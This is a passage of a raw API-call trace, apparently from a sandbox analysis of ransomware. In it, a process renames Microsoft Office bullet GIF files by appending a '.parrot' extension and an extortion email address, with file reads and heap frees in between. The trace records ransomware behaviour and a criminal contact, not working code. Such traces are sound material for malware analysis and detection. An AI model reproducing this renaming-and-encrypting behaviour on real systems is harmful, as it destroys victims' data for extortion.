hHeap=0x5b0000) returned 1 [0164.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0164.762] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.762] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.763] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x103, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x103, lpOverlapped=0x0) returned 1 [0164.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.765] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0164.767] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.767] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.768] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.768] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdb, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xdb, lpOverlapped=0x0) returned 1 [0164.769] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.769] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0164.773] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.773] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.774] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.774] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc0, lpOverlapped=0x0) returned 1 [0164.774] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9268 | out: hHeap=0x5b0000) returned 1 [0164.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.782] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.783] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.783] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbf, lpOverlapped=0x0) returned 1 [0164.783] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.787] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.788] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.790] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.790] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb8, lpOverlapped=0x0) returned 1 [0164.791] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.808] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.808] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.809] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.809] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb3, lpOverlapped=0x0) returned 1 [0164.809] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.849] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.849] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.850] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.850] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb4, lpOverlapped=0x0) returned 1 [0164.850] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.851] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.854] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.856] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.856] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.857] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.857] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2, lpOverlapped=0x0) returned 1 [0164.857] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.859] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.859] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.859] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.876] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.876] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.877] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.877] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f5, lpOverlapped=0x0) returned 1 [0164.878] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.878] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.885] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.885] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.885] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0164.888] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.888] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.889] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.889] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfd, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfd, lpOverlapped=0x0) returned 1 [0164.889] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0164.894] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.894] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.895] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.895] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a3, lpOverlapped=0x0) returned 1 [0164.895] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5d18 | out: hHeap=0x5b0000) returned 1 [0164.900] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.900] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.901] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.901] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc4, lpOverlapped=0x0) returned 1 [0164.901] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.901] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9268 | out: hHeap=0x5b0000) returned 1 [0164.908] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.908] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.909] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.909] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a4, lpOverlapped=0x0) returned 1 [0164.910] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5d18 | out: hHeap=0x5b0000) returned 1 [0164.915] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.915] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.916] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.916] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc2, lpOverlapped=0x0) returned 1 [0164.916] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9268 | out: hHeap=0x5b0000) returned 1 [0164.921] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.921] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, 